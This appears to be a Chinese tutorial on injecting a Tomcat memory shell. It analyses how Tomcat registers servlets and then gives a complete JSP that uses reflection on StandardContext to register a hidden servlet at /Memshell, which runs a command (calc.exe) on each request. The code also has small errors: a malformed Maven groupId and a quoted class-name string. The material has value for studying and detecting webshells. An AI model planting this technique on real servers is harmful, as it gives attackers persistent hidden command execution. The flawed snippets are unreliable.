创建javaweb项目,勾选servlet
我们可以将idea给的注释写法,改到web.xml里面
xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>HelloWorld</servlet-name>
<servlet-class>com.example.tomcatdemo.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloWorld</servlet-name>
<url-pattern>/hello-servlet</url-pattern>
</servlet-mapping>
</web-app>
记得加依赖(版本改自己tomcat版本)
xml
<dependency>
<groupId>org.apache.tomcat.</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.91</version> <!-- Latest version as of writing -->
</dependency>
流程分析
我们的目标就是自己写一个Servlet并且注册进Tomcat
首先拿这个demo看下注册过程,注册是在ContextConfig#configureContext中,在下面位置打断点,第三次时开始加载HelloServlet。
创建一个wrapper,很明显我们在自己写注册流程时还要反射获取context
之后看看注册servlet都进行了哪些操作,我们要手动实现这些操作。
setName(类名)
setServletClass(全类名)
把wrapper放入context
将/hello-servletURL映射到HelloWorld Servlet
注册就看完了,但是发现没有实例化的部分。要手动new一个类(下面攻击实现会涉及)。
攻击实现
payload
写个马并将它注册进Tomcat,马好写。主要是如何手动注册Tomcat。
首先要获取standardContext,用request.getServletContext()
可获取到,根据下图写反射。
jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
Created by IntelliJ IDEA.
User: DELL
Date: 2024/8/5
Time: 15:50
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%!
public class addServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
public void destroy() {
}
}
%>
<%
//反射获取StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContext = servletContext.getClass().getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext applicationContext1 = (ApplicationContext) applicationContext.get(servletContext);
Field standardContext = applicationContext1.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext standardContext1 = (StandardContext) standardContext.get(applicationContext1);
//模拟注册
Wrapper wrapper = standardContext1.createWrapper();
wrapper.setName("addServlet");
wrapper.setServletClass("addServlet.class.getName()");
//实例化
wrapper.setServlet(new addServlet());
standardContext1.addChild(wrapper);
standardContext1.addServletMappingDecoded("/Memshell","addServlet");
%>
</body>
</html>
流程
首先访问jsp的路径/addServlet.jsp,通过反射将addServlet注册进Tomcat。
之后访问映射/Memshell
,用addServlet处理请求,弹计算器。